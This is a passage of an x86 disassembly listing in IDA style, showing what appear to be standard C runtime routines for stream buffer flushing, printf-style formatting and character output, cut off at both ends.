sub_419CDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_419CFF	proc near		; CODE XREF: ___:00419C4Ap

arg_0		= dword	ptr  4

		cmp	dword_48A068, 1
		jnz	short loc_419D0D
		call	sub_41F84C

loc_419D0D:				; CODE XREF: sub_419CFF+7j
		push	[esp+arg_0]
		call	sub_41F885
		pop	ecx
		push	0FFh
		nop
		call	near ptr 77E75CB5h
		retn
sub_419CFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172B0+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_43BCD8
		jz	short loc_419D83
		cmp	esi, offset dword_43BCF8
		jnz	short loc_419D8E

loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95

loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------

loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419DE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------

loc_419DE0:				; CODE XREF: sub_419D23+A5j
		mov	eax, offset dword_43BC20

loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch

loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------

loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------

loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------

loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh

loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172B0+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------

loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------

loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax

loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump

loc_419EAD:				; DATA XREF: ___:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax

loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------

loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx

loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	ecx, off_4395A0	; jumptable 00419EA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8

loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh

loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, off_43959C
		mov	[ebp+var_8], ecx

loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------

loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------

loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8

loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------

loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, off_439598
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------

loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1

loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43B900
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B90C
		pop	ecx

loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B904
		pop	ecx

loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi

loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------

loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, off_439598
		mov	[ebp+var_8], ecx

loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx

loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------

loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8

loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7

loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------

loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h

loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah

loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax

loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx

loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C

loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------

loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0

loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------

loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0

loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417

loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]

loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------

loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442

loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax

loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h

loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1

loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h

loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------

loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h

loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64

loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------

loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
